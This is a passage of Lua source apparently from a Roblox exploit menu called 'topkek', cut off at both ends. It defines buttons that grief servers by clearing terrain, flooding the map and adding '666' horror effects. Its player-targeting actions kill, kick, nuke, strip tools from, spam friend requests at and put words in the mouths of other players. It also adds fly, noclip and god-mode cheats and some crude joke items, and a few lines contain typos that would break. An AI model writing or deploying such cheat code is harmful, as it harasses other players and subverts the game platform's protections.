P.BrickColor = BrickColor.Green()
P.Parent = game:service'Workspace'
end
end
end)
--[[ destruction ]]--
servwin:addSpacing()
servwin:drawButton(1/2,'Clear Terrain',function()
game:service'Workspace'.Terrain:Clear()
end)
servwin:drawButton(1/2,'Flood',function()
game:service'Workspace'.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-100), Vector3int16.new(100,100,100)), 17, "Solid", "X")
end)
servwin:drawButton(1/2,'Reflectancy',function()
topkek.libutil:recurseSet('BasePart','Reflectance',1)
end)
servwin:drawButton(1/2,'Transparency',function()
topkek.libutil:recurseSet('BasePart','Transparency',1)
end)
servwin:drawButton(1/2,'666',function()
for i,v in next,workspace:children''do
if(v:IsA'BasePart')then
me=v;
bbg=Instance.new('BillboardGui',me);
bbg.Name='stuf';
bbg.Adornee=me;
bbg.Size=UDim2.new(2.5,0,2.5,0)
--bbg.StudsOffset=Vector3.new(0,2,0)
tlb=Instance.new'TextLabel';
tlb.Text='666 666 666 666 666 666';
tlb.Font='SourceSansBold';
tlb.FontSize='Size48';
tlb.TextColor3=Color3.new(1,0,0);
tlb.Size=UDim2.new(1.25,0,1.25,0);
tlb.Position=UDim2.new(-0.125,-22,-1.1,0);
tlb.BackgroundTransparency=1;
tlb.Parent=bbg;
end;end;
--coroutine.wrap(function()while wait''do
s=Instance.new'Sound';
s.Parent=workspace;
s.SoundId='rbxassetid://152840862';
s.Pitch=1;
s.Volume=1;
s.Looped=true;
s:play();
--end;end)();
function xds(dd)
for i,v in next,dd:children''do
if(v:IsA'BasePart')then
v.BrickColor=BrickColor.new'Really black';
v.TopSurface='Smooth';
v.BottomSurface='Smooth';
s=Instance.new('SelectionBox',v);
s.Adornee=v;
s.Color=BrickColor.new'Really red';
a=Instance.new('PointLight',v);
a.Color=Color3.new(1,0,0);
a.Range=15;
a.Brightness=5;
f=Instance.new('Fire',v);
f.Size=19;
f.Heat=22;
end;
game.Lighting.TimeOfDay=0;
game.Lighting.Brightness=0;
game.Lighting.ShadowColor=Color3.new(0,0,0);
game.Lighting.Ambient=Color3.new(1,0,0);
game.Lighting.FogEnd=200;
game.Lighting.FogColor=Color3.new(0,0,0);
local dec = 'http://www.roblox.com/asset/?id=19399245';
local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'}
--coroutine.wrap(function()
--for _,__ in pairs(fac) do
--local ddec = Instance.new("Decal", v)
--ddec.Face = __
--ddec.Texture = dec
--end end)()
if #(v:GetChildren())>0 then
xds(v)
end
end
end
xds(game.Workspace)
end)
servwin:drawButton(1/2,'Troll',function()
topkek.libutil:recurseDecal('48308661')
topkek.libutil:Play(154664102)
end)
servwin:drawButton(1/2,'Colorize',function() -- when u skid off variable XDDDDDpranked
local materiallist =
{Enum.Material.Plastic,Enum.Material.Wood,Enum.Material.Slate,Enum.Material.Concrete,Enum.Material.CorrodedMetal,
Enum.Material.DiamondPlate,Enum.Material.Foil,Enum.Material.Grass,
Enum.Material.Ice,Enum.Material.Marble,Enum.Material.Granite,Enum.Material.Brick,
Enum.Material.Pebble,Enum.Material.Sand,Enum.Material.Sand,
Enum.Material.Fabric,Enum.Material.SmoothPlastic,Enum.Material.Metal,Enum.Material.WoodPlanks,Enum.Material.Neon,Enum.Material.Cobblestone}
local function r(where)
for _,v in pairs (where:GetChildren()) do
if v:IsA("BasePart") then
spawn(function() while wait(0.1) do v.Material = materiallist[math.random(#materiallist)] wait() end end) end r(v) end end r(workspace)
end)
servwin:drawButton(1/2,'Materialize',function()
local function r(where)
for _,v in pairs (where:GetChildren()) do
if v:IsA("BasePart") then
spawn(function() while wait(0.1) do v.Transparency = math.random(0,1) wait() end end) end r(v) end end r(workspace)
end)
servwin:drawButton(1/2,'Meshify',function()
local enums={
Enum.MeshType.Head;
Enum.MeshType.Torso;
Enum.MeshType.Wedge;
Enum.MeshType.Brick;
Enum.MeshType.Sphere;
Enum.MeshType.Cylinder;
}
topkek.libutil:recurseFunc('BasePart',function(o)
local mesh = Instance.new('SpecialMesh', o)
mesh.MeshType = enums[math.random(1,#enums)]
end)
end)
servwin:drawButton(1/2,'Loop-Meshify',function()
coroutine.wrap(function()
while true do
local enums={
Enum.MeshType.Head;
Enum.MeshType.Torso;
Enum.MeshType.Wedge;
Enum.MeshType.Brick;
Enum.MeshType.Sphere;
Enum.MeshType.Cylinder;
}
topkek.libutil:recurseFunc('BasePart',function(o)
if o:FindFirstChild("Mesh") then o.Mesh:Destroy() end
local mesh = Instance.new('SpecialMesh', o)
mesh.MeshType = enums[math.random(1,#enums)]
end)
wait(0.5)
end
end)()
end)
--<<<< END OF SERVER MENU >>>>--
plrwin = topkek.libgui:hookContainer(base['PlayersContainer'])
local plrDrop = plrwin:drawButton(1,'test-dropdown',function()end)
plrDrop = dropdown.new(plrDrop,topkek.libutil:GetPlayerList(),'Everybody')
game:GetService('Players').PlayerAdded:connect(function()
plrDrop.update(topkek.libutil:GetPlayerList())
end)
game:GetService('Players').PlayerRemoving:connect(function()
plrDrop.update(topkek.libutil:GetPlayerList())
end)
plrwin:addSpacing()
local actions = plrwin --plrwin:drawScrollingContainer(163) [[lole]]
actions:drawButton(1/3, 'Kill', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character:FindFirstChild('Humanoid') then
z.Character.Humanoid.Health = 0
end
end)
end)
actions:drawButton(1/3, 'Freeze', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character:FindFirstChild('Humanoid') then
topkek.libutil:getTorso(z).Anchored = true
end
end)
end)
actions:drawButton(1/3, 'Thaw', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character:FindFirstChild('Humanoid') then
topkek.libutil:getTorso(z).Anchored = false
end
end)
end)
actions:drawButton(1/3, 'Fire', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
Instance.new("Fire", topkek.libutil:getTorso(z))
end
end)
end)
actions:drawButton(1/3, 'Sparkles', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
Instance.new("Sparkles", topkek.libutil:getTorso(z))
end
end)
end)
actions:drawButton(1/3, 'Smoke', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
Instance.new("Smoke", topkek.libutil:getTorso(z))
end
end)
end)
actions:drawButton(1/3, 'BTools', function()
topkek.libutil:doPlayers(plrDrop, function(z)
local a = Instance.new("HopperBin")
a.BinType = "GameTool"
a.Parent = z.Backpack
local a = Instance.new("HopperBin")
a.BinType = "Clone"
a.Parent = z.Backpack
local a = Instance.new("HopperBin")
a.BinType = "Hammer"
a.Parent = z.Backpack
end)
end)
actions:drawButton(1/3, 'Kick', function()
topkek.libutil:doPlayers(plrDrop, function(z)
local function doKick()
if z.Character and z.Character:FindFirstChild('HumanoidRootPart') and z.Character:FindFirstChild('Torso') then
z.Character.HumanoidRootPart.CFrame = CFrame.new(math.random(999000, 1001000), 1000000, 1000000)
local SP = Instance.new('SkateboardPlatform', z.Character) SP.Position = z.Character.HumanoidRootPart.Position SP.Transparency = 1
spawn(function()
repeat wait()
if z.Character and z.Character:FindFirstChild('HumanoidRootPart') then
SP.Position = z.Character.HumanoidRootPart.Position
end
until not game:GetService('Players'):FindFirstChild(z.Name)
end)
z.Character.Torso.Anchored = true
end
end
repeat
doKick()
wait()
until not z
end)
end)
actions:drawButton(1/3, 'Nil', function()
topkek.libutil:doPlayers(plrDrop, function(z)
z.Parent = nil
end)
end)
actions:drawButton(1/3, 'Bring', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
z.Character.HumanoidRootPart.CFrame =
game:service'Players'.LocalPlayer.Character.HumanoidRootPart.CFrame * CFrame.new(1,1,1)
end
end)
end)
actions:drawButton(1/3, 'Goto', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
game:service'Players'.LocalPlayer.Character.HumanoidRootPart.CFrame =
z.Character.HumanoidRootPart.CFrame * CFrame.new(1,1,1)
end
end)
end)
actions:drawButton(1/3, 'Freefall', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
z.Character.HumanoidRootPart.CFrame = z.Character.HumanoidRootPart.CFrame * CFrame.new(0, 10000, 0)
end
end)
end)
actions:drawButton(1/3, 'Sword', function()
topkek.libutil:doPlayers(plrDrop, function(z)
insert(125013769).Parent = z.Backpack
end)
end)
actions:drawButton(1/3, 'Guns', function()
topkek.libutil:doPlayers(plrDrop, function(z)
insert(130113146).Parent = z.Backpack
insert(67747912).Parent = z.Backpack
insert(95354288).Parent = z.Backpack
end)
end)
actions:drawButton(1/3, 'Knife', function()
topkek.libutil:doPlayers(plrDrop, function(z)
insert(170897263).Parent = z.Backpack
end)
end)
actions:drawButton(1/3, 'Stun', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if not z.Character:FindFirstChild('UpperTorso') then
z.Character.Torso.CFrame = z.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
end
z.Character.Humanoid.PlatformStand = true
end)
end)
actions:drawButton(1/3, 'Invisible', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
topkek.libutil:recurseSetObj(z.Character, 'BasePart', 'Transparency', 1)
topkek.libutil:recurseSetObj(z.Character, 'MeshPart', 'Transparency', 1)
end
end)
end)
actions:drawButton(1/3, 'Visible', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
topkek.libutil:recurseSetObj(z.Character, 'BasePart', 'Transparency', 0)
topkek.libutil:recurseSetObj(z.Character, 'MeshPart', 'Transparency', 1)
end
end)
end)
actions:drawButton(1/3, 'God', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character:FindFirstChild('Humanoid') then
z.Character.Humanoid.MaxHealth = math.huge
z.Character.Humanoid.Health = math.huge
end
end)
end)
actions:drawButton(1/3, 'Semigod', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character:FindFirstChild('Humanoid') then
z.Character.Humanoid.MaxHealth = 9999999999
z.Character.Humanoid.Health = 9999999999
end
end)
end)
actions:drawButton(1/3, 'Nuke', function()
topkek.libutil:doPlayers(plrDrop, function(z)
local torso = topkek.libutil:getTorso(z)
local nuke = Instance.new("Part", game.Workspace)
local opos = torso.CFrame
nuke.BrickColor = BrickColor.new("Bright yellow")
nuke.TopSurface = Enum.SurfaceType.Smooth
nuke.BottomSurface = Enum.SurfaceType.Smooth
nuke.Anchored = true
nuke.CanCollide = false
nuke.Shape = "Ball"
nuke.Transparency = 0.5
nuke.CFrame = torso.CFrame
nuke.Size = Vector3.new(1, 1, 1)
nuke.Touched:connect(function(p)
local expl = Instance.new("Explosion", p)
expl.BlastPressure = 50000
expl.BlastRadius = 50
expl.Position = p.Position
p.Material = Enum.Material.CorrodedMetal
p:BreakJoints()
end)
for i = 1, 150 do
nuke.Size = Vector3.new(i, i, i)
nuke.CFrame = opos
wait(0.08)
end
nuke:Destroy()
end)
end)
actions:drawButton(1/3, 'Confuse', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character:FindFirstChild('Humanoid') then
z.Character.Humanoid.WalkSpeed = -16
end
end)
end)
actions:drawButton(1/3, 'Goldify', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
topkek.libutil:recurseSetObj(z.Character, 'BasePart', 'Material', 'Marble')
topkek.libutil:recurseSetObj(z.Character, 'MeshPart', 'Material', 'Marble')
topkek.libutil:recurseSetObj(z.Character, 'BasePart', 'BrickColor', BrickColor.new('Bright yellow'))
topkek.libutil:recurseSetObj(z.Character, 'MeshPart', 'BrickColor', BrickColor.new('Bright yellow'))
end
end)
end)
actions:drawButton(1/3, 'Neon', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
topkek.libutil:recurseSetObj(z.Character, 'BasePart', 'Material', 'Neon')
topkek.libutil:recurseSetObj(z.Character, 'MeshPart', 'Material', 'Neon')
end
end)
end)
actions:drawButton(1/3, 'Insane', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
for i,v in pairs(topkek.libutil:getTorso(z):GetChildren()) do
if v:IsA("Motor6D") then
coroutine.wrap(function()
while v do
v.C0=v.C0*CFrame.Angles(math.random(-180,180),math.random(-180,180),math.random(-180,180))
wait()
end
end)()
end
end
end
end)
end)
actions:drawButton(1/3, 'Quicksand', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
if z.Character:FindFirstChild('Humanoid') then
local tor = topkek.libutil:getTorso(z)
local hole = Instance.new("Part", z.Character)
hole.Anchored = true
hole.Name = "Hole"
hole.FormFactor = Enum.FormFactor.Custom
hole.Size = Vector3.new(7, 1, 7)
hole.CanCollide = false
hole.CFrame = tor.CFrame * CFrame.new(0,-3.3,0)
hole.BrickColor = BrickColor.new("Cool yellow")
hole.Material = Enum.Material.Sand
local hm = Instance.new("CylinderMesh", hole)
tor.Anchored = true
if z.Character:FindFirstChild("Humanoid") then
z.Character.Humanoid.Jump = true
end
for x,m in pairs(z.Character:GetChildren()) do
if m:IsA("BasePart") or m:IsA("MeshPart") then
m.CanCollide = false
end
end
for i=1,75 do
tor.CFrame=tor.CFrame*CFrame.new(0,-0.1,0)
wait(0.06)
end
tor.CFrame=tor.CFrame*CFrame.new(0,
-500,0
)
z.Character.Humanoid.Health = 0
end
end
end)
end)
actions:drawButton(1/3, 'Duck', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
local pchar = z.Character
-- for i,v in pairs(pchar.Torso:GetChildren()) do
-- if v:IsA("Decal") then
-- v:Destroy()
-- end
-- end
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("Hat") or v:IsA("Accessory") then
v:Destroy()
end
end
local duck = Instance.new("SpecialMesh", z.Character.HumanoidRootPart)
duck.MeshType = "FileMesh"
duck.MeshId = "http://www.roblox.com/asset/?id=9419831"
duck.TextureId = "http://www.roblox.com/asset/?id=9419827"
duck.Scale = Vector3.new(5, 5, 5)
topkek.libutil:recurseSetObj(z.Character, 'Instance', 'Transparency', 1)
z.Character.HumanoidRootPart.Transparency = 0
end
end)
end)
actions:drawButton(1/3, 'Shrek', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
local pchar = z.Character
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("Hat") or v:IsA("Accessory") or v:IsA("CharacterMesh") or v:IsA("Shirt") or v:IsA("Pants") then
v:Destroy()
end
end
for i,v in pairs(pchar.Head:GetChildren()) do
if v:IsA("Decal") or v:IsA("SpecialMesh") then
v:Destroy()
end
end
local mesh = Instance.new("SpecialMesh", pchar.Head)
mesh.MeshType = "FileMesh"
pchar.Head.Mesh.MeshId = "http://www.roblox.com/asset/?id=19999257"
pchar.Head.Mesh.Offset = Vector3.new(-0.1, 0.1, 0)
pchar.Head.Mesh.TextureId = "http://www.roblox.com/asset/?id=156397869"
local Shirt = Instance.new("Shirt", z.Character)
local Pants = Instance.new("Pants", z.Character)
Shirt.ShirtTemplate = "rbxassetid://133078194"
Pants.PantsTemplate = "rbxassetid://133078204"
end
end)
end)
actions:drawButton(1/3, 'Bighead', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
if z.Character:FindFirstChild('Head') then
z.Character.Head.Mesh.Scale=Vector3.new(5,5,5)
end
end
end)
end)
actions:drawButton(1/3, 'Hotdog', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
if z.Character:FindFirstChild('Head') then
topkek.libutil:weiner(z)
end
end
end)
end)
actions:drawButton(1/3, 'Dwarf [R6]', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
topkek.libutil:scalePlayer(z, 0.5)
end
end)
end)
actions:drawButton(1/3, 'Giant [R6]', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
topkek.libutil:scalePlayer(z, 5)
end
end)
end)
actions:drawButton(1/3, 'Giraffe [R6]', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
local char=z.Character
local h=char.Head
local tor=char:FindFirstChild("Torso")
if not tor then return end
tor.Neck.C0=tor.Neck.C0*CFrame.new(0,0,5)
local fn=Instance.new("Part",char)
fn.Size=Vector3.new(1,5.5,1)
fn.Name="FakeNeck"
fn.Anchored=false
fn.CanCollide=false
if char:FindFirstChild("Body Colors") then
fn.BrickColor=char["Body Colors"].HeadColor
end
local cm=Instance.new("CylinderMesh",fn)
local we=Instance.new("Weld",h)
we.Part0=h
we.Part1=fn
we.C1=we.C1*CFrame.new(0,2.6,0)
end
end)
end)
actions:drawButton(1/3, 'Select', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
Instance.new("SelectionBox", z.Character).Adornee = z.Character
end
end)
end)
actions:drawButton(1/3, 'Sphere', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
Instance.new("SelectionSphere", z.Character).Adornee = z.Character
end
end)
end)
actions:drawButton(1/3, 'Sit', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character:FindFirstChild("Humanoid") then
z.Character.Humanoid.Sit = true
end
end)
end)
actions:drawButton(1/3, 'Jump', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character:FindFirstChild("Humanoid") then
z.Character.Humanoid.Jump = true
end
end)
end)
actions:drawButton(1/3, 'No Tools', function()
topkek.libutil:doPlayers(plrDrop, function(z)
for _, t in pairs(z.Backpack:GetChildren()) do
t:Destroy()
end
end)
end)
actions:drawButton(1/3, 'Take Tools', function()
topkek.libutil:doPlayers(plrDrop, function(z)
for _, t in pairs(z.Backpack:GetChildren()) do
t.Parent = game:service'Players'.LocalPlayer.Backpack
end
end)
end)
actions:drawButton(1/3, 'Disable', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character:FindFirstChild("Humanoid") then
z.Character.Humanoid.Parent = nil
end
end)
end)
actions:drawButton(1/3, 'Fast', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character:FindFirstChild("Humanoid") then
z.Character.Humanoid.WalkSpeed = 50
end
end)
end)
actions:drawButton(1/3, 'Slow', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character:FindFirstChild("Humanoid") then
z.Character.Humanoid.WalkSpeed = 8
end
end)
end)
actions:drawButton(1/3,'Explode', function()
topkek.libtil:doPlayers(plrDrop, function(z)
local explosion = Instance.new("Explosion")
explosion.Position = topkek.libutil:getTorso(z).Position
explosion.Parent = game.Workspace
end)
end)
local Follow
actions:drawButton(1/3,'Annoy', function()
if Follow == true then
Follow = false; return
else Follow = true end
topkek.libutil:doPlayers(plrDrop, function(z)
while Follow == true do
game:service'Players'.LocalPlayer.Character.HumanoidRootPart.CFrame=
z.Character.HumanoidRootPart.CFrame
wait()
end
end)
end)
actions:drawButton(1/3,'ForceField', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character then
Instance.new("ForceField", z.Character)
end
end)
end)
actions:drawButton(1/3,'Friendlag', function()
topkek.libutil:doPlayers(plrDrop, function(z)
for i = 1, 10 do
spawn(function()
while wait() do
game.Players.LocalPlayer:RequestFriendship(z)
game.Players.LocalPlayer:RevokeFriendship(z)
end
end)
end
end)
end)
actions:drawButton(1/3,'Force Follow', function()
topkek.libutil:doPlayers(plrDrop, function(z)
game:GetService("RunService"):BindToRenderStep("_", 0, function()
z.Character.Humanoid:MoveTo(game.Players.LocalPlayer.Character.Head.Position)
end)
end)
end)
actions:drawButton(1/3,'Dab', function()
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character and z.Character:FindFirstChild("Torso") then
local chr = z.Character
chr.Animate.Disabled = true
chr.Torso["Left Shoulder"].C1 = CFrame.new(0, 0.699999988, 0, 0.939692616, 0, -0.342020124, -0.330366075, -0.258819044, -0.907673359, -0.0885213241, 0.965925813, -0.243210346)
chr.Torso["Right Shoulder"].C1 = CFrame.new(-0.600000024, 0.5, -0.200000003, 0.664462984, 0.241844743, 0.707106769, -0.664462984, -0.241844788, 0.707106769, 0.342020154, -0.939692616, -3.09086197e-008)
chr.Torso["Neck"].C1 = CFrame.new(0, -0.600000024, 0, -0.866025388, 0.5, 0, -0.171010137, -0.29619807, 0.939692616, 0.469846278, 0.813797653, 0.342020124)
end
end)
end)
actions:addSpacing()
local chatInp
actions:drawButton(1/2, 'Make Chat', function()
topkek.libutil:doPlayers(plrDrop, function(z)
game:GetService('Chat'):Chat(z.Character, chatInp.Text)
end)
end)
chatInp = actions:drawTextBox(1/2, '')
local insertInp
actions:drawButton(1/2, 'Insert Into', function()
if not tonumber(insertInp.Text) then return end
local item = insert(insertInp.Text)
if not item then return end
topkek.libutil:doPlayers(plrDrop, function(z)
item:Clone().Parent = z.Backpack
end)
end)
insertInp = actions:drawTextBox(1/2, '')
local speedInp
actions:drawButton(1/2, 'Set Speed', function()
if not tonumber(speedInp.Text) then return end
topkek.libutil:doPlayers(plrDrop, function(z)
if z.Character:FindFirstChild('Humanoid') then
z.Character.Humanoid.WalkSpeed = tonumber(speedInp.Text)
end
end)
end)
speedInp = actions:drawTextBox(1/2, '')
local nameInp
actions:drawButton(1/2, 'Set Name', function()
topkek.libutil:doPlayers(plrDrop, function(z)
local Character = z.Character
local newName = Instance.new("Model", z.Character)
newName.Name = nameInp.Text
local cl = Character:WaitForChild("Head"):Clone()
cl.Parent = newName
cl:WaitForChild("face"):Destroy()
local hum = Instance.new("Humanoid", newName)
hum.Name = "NameTag"
hum.MaxHealth = 0
hum.Health = 0
local weld = Instance.new("Weld", cl)
weld.Part0 = cl
weld.Part1 = Character:WaitForChild("Head")
Character:WaitForChild("Head").Transparency = 1
Wait(.5)
cl.BrickColor = Character:WaitForChild("Head").BrickColo
end)
end)
nameInp = actions:drawTextBox(1/2, '')
--[[ localplayer ]]--
local lp = game:GetService('Players').LocalPlayer
local localwin = topkek.libgui:hookContainer(base['LocalPlayerContainer'])
local appearInp
localwin:drawButton(1/2, 'Set Appearance', function()
local id = 0
if not tonumber(appearInp.Text) then
id = tonumber(appearInp.Text)
else
id = game:GetService('Players'):GetUserIdFromNameAsync(appearInp.Text)
end
lp.CharacterAppearance = 'https://assetgame.roblox.com/Asset/CharacterFetch.ashx?userId=' .. tostring(id)
end)
appearInp = localwin:drawTextBox(1/2, '')
localwin:drawButton(1/2, 'Set TeamColor', function()
if teamInp.Text == 'Neutral' then
lp.Neutral = true
return
end
local clr = BrickColor.new(teamInp.Text)
lp.TeamColor = clr
end)
teamInp = localwin:drawTextBox(1/2, 'Neutral')
localwin:drawButton(1, 'Reset Camera', function()
game.Workspace.CurrentCamera:remove()
wait(.1)
game.Workspace.CurrentCamera.CameraSubject = lp.Character.Humanoid or
game.Workspace[lp.Name].Humanoid
game.Workspace.CurrentCamera.CameraType = "Custom"
end)
localwin:drawButton(1, 'Respawn', function()
local a1 = Instance.new("Model", game:service'Workspace')
local a2 = Instance.new("Part", game:service'Workspace')
a2.CanCollide = true
a2.Anchored = true
a2.CFrame = CFrame.new(10000, 10000, 10000)
a2.Name = "Torso"
local a3 = Instance.new("Humanoid", a1)
a3.MaxHealth=100;a3.Health=100
lp.Character = a1
a3.Health=0
end)
localwin:addSpacing()
local Lev, Clip, Fly
localwin:drawButton(1/2, 'Levitate', function()
if Lev == true then
Lev = false
return
end
Lev = true
repeat
lp.Character.Humanoid:ChangeState(10)
wait(0)
until Lev == false
end)
localwin:drawButton(1/2, 'Noclip', function()
if Clip == true then
Clip = false
return
end
Clip = true
game:GetService("RunService").Stepped:connect(function()
topkek.libutil:getTorso(lp).CanCollide = not Clip
lp.Character.Head.CanCollide = not Clip
lp.Character.HumanoidRootPart.CanCollide = not Clip
if lp.Character.UpperTorso then
lp.Character.LowerTorso.CanCollide = not Clip
end
end)
lp.Character.HumanoidRootPart.Changed:connect(function()
topkek.libutil:getTorso(lp).CanCollide = not Clip
lp.Character.Head.CanCollide = not Clip
lp.Character.HumanoidRootPart.CanCollide = not Clip
if lp.Character.UpperTorso then
lp.Character.LowerTorso.CanCollide = not Clip
end
end)
end)
localwin:drawButton(1/2, 'Fly', function()
if Fly == true then
Fly = false
return
end
Fly = true
local mouse=game.Players.LocalPlayer:GetMouse''
localplayer=game.Players.LocalPlayer
game.Players.LocalPlayer.Character:WaitForChild("HumanoidRootPart")
local torso = game.Players.LocalPlayer.Character.HumanoidRootPart
local speed=0
local keys={a=false,d=false,w=false,s=false}
local e1
local e2
local function start()
local pos = Instance.new("BodyPosition",torso)
local gyro = Instance.new("BodyGyro",torso)
pos.Name="EPIXPOS"
pos.maxForce = Vector3.new(math.huge, math.huge, math.huge)
pos.position = torso.Position
gyro.maxTorque = Vector3.new(9e9, 9e9, 9e9)
gyro.cframe = torso.CFrame
repeat
wait()
localplayer.Character.Humanoid.PlatformStand=true
local new=gyro.cframe - gyro.cframe.p + pos.position
if not keys.w and not keys.s and not keys.a and not keys.d then
speed=1
end
if keys.w then
new = new + workspace.CurrentCamera.CoordinateFrame.lookVector * speed
speed=speed+0.01
end
if keys.s then
new = new - workspace.CurrentCamera.CoordinateFrame.lookVector * speed
speed=speed+0.01
end
if keys.d then
new = new * CFrame.new(speed,0,0)
speed=speed+0.01
end
if keys.a then
new = new * CFrame.new(-speed,0,0)
speed=speed+0.01
end
if speed>5 then
speed=5
end
pos.position=new.p
if keys.w then
gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(-math.rad(speed*15),0,0)
elseif keys.s then
gyro.cframe = workspace.CurrentCamera.CoordinateFrame*CFrame.Angles(math.rad(speed*15),0,0)
else
gyro.cframe = workspace.CurrentCamera.CoordinateFrame
end
until not Fly
if gyro then gyro:Destroy() end
if pos then pos:Destroy() end
flying=false
localplayer.Character.Humanoid.PlatformStand=false
speed=0
end
e1=mouse.KeyDown:connect(function(key)
if not torso or not torso.Parent then flying=false e1:disconnect() e2:disconnect() return end
if key=="w" then
keys.w=true
elseif key=="s" then
keys.s=true
elseif key=="a" then
keys.a=true
elseif key=="d" then
keys.d=true
end
end)
e2=mouse.KeyUp:connect(function(key)
if key=="w" then
keys.w=false
elseif key=="s" then
keys.s=false
elseif key=="a" then
keys.a=false
elseif key=="d" then
keys.d=false
end
end)
start()
end)
localwin:drawButton(1/2, 'Highjump', function()
local thrust = Instance.new("BodyVelocity")
game:GetService('UserInputService').InputBegan:connect(function(i, b)
if i.KeyCode == Enum.KeyCode.Space then
print("Got jump")
coroutine.resume(coroutine.create(function()
thrust.Parent = game.Players.LocalPlayer.Character.PrimaryPart
thrust.velocity = Vector3.new(0,50,0)
thrust.maxForce = Vector3.new(0,4e+050,0)
wait(0.2)
thrust.Parent = nil
end))
end
end)
end)
localwin:addSpacing()
localwin:drawButton(1/2, 'Freecam', function()
local cam = game.Workspace.CurrentCamera
cam.CameraType = "Fixed"
cam.CameraSubject = nil
lp.Character = nil
end)
localwin:drawButton(1/2, 'Nil Orb', function()
game.Players.LocalPlayer.Character = nil
--lp:Destroy()
local cam = game.Workspace.CurrentCamera
local m = Instance.new("Model", game.Workspace)
m.Name = game.Players.LocalPlayer.Name
local hum = Instance.new("Humanoid", m)
hum.Health = 0
hum.MaxHealth = 0
local orb = Instance.new("Part", m)
orb.Size = Vector3.new(1, 1, 1)
orb.Shape = "Ball"
orb.Name = "Head"
orb.Anchored = true
orb.CanCollide = true
orb.BottomSurface = Enum.SurfaceType.Smooth
orb.TopSurface = Enum.SurfaceType.Smooth
orb.Transparency = 0
cam.CameraSubject = orb
cam.CameraType = Enum.CameraType.Fixed
game:GetService("RunService").RenderStepped:connect(function()
orb.CFrame = cam.CoordinateFrame * CFrame.new(0, -2, -6)
end)
game.Players.LocalPlayer.Chatted:connect(function(a)
game:GetService("Chat"):Chat(orb, a)
end)
end)
localwin:drawButton(1/2, 'God', function()
lp.Character.Humanoid.MaxHealth = math.huge
lp.Character.Humanoid.Health = math.huge
end)
localwin:drawButton(1/2, 'NoGrav', function()
if lp.Character then
for x,m in pairs(lp.Character:GetChildren()) do
if m:IsA("BasePart") then
local bf = Instance.new("BodyForce", m)
bf.force = Vector3.new(0, 192.25, 0) * m:GetMass()
end
if m:IsA("Hat") or m:IsA("Accessory") then
if m:findFirstChild("Handle") then
local bf = Instance.new("BodyForce", m.Handle)
bf.force = Vector3.new(0, 192.25, 0) * m.Handle:GetMass()
end
end
end
end
end)
localwin:drawButton(1/2, 'Rainbow Name', function()
lp.Neutral = false
repeat
wait()
lp.TeamColor = BrickColor.Random()
until not lp.Character.Humanoid
end)
localwin:drawButton(1/2, 'Random Fedora', function()
local hats={
98346834,
215751161,
119916949,
72082328,
147180077,
100929604,
63043890,
1285307,
1029025,
334663683,
259423244
}
game:GetService("InsertService"):LoadAsset(hats[math.random(1,#hats)]):GetChildren()[1].Parent = lp.Character
end)
localwin:drawButton(1/2, 'Clear Appearance', function()
lp:ClearCharacterAppearance()
end)
localwin:drawButton(1/2, 'Disguise', function()
local p = lp.Character
if p:FindFirstChild("topkek") then
p.topkek:Destroy()
end
p.Name = ""
p.Head.Transparency = 1
local mo = Instance.new("Model", p)
mo.Name = ""
local hu = Instance.new("Humanoid", mo)
hu.Name = "distag"
hu.Health = 100
hu.MaxHealth = 100
local fh = p.Head:Clone()
fh.Parent = mo
fh.Transparency = 0
local we = Instance.new("Weld", fh)
we.Part0 = p.Head
we.Part1 = mo
lp:ClearCharacterAppearance()
pcall(function() p["Body Colors"]:Destroy() end)
Instance.new("BodyColors", p)
end)
localwin:drawButton(1, 'Dick Shooter', function()
topkek.libutil:dickShooter()
end)
localwin:addSpacing()
local hackerInp
localwin:drawButton(1/2, 'Set Tag', function()
local len = 10
local bb = Instance.new("BillboardGui")
bb.Parent = lp.Character.Head
bb.Adornee = lp.Character.Head
bb.AlwaysOnTop = true
bb.Enabled = true
bb.Size = UDim2.new(len, 0, 1.5, 0)
bb.Name = "tag"
bb.StudsOffset = Vector3.new(0, 3, 0)
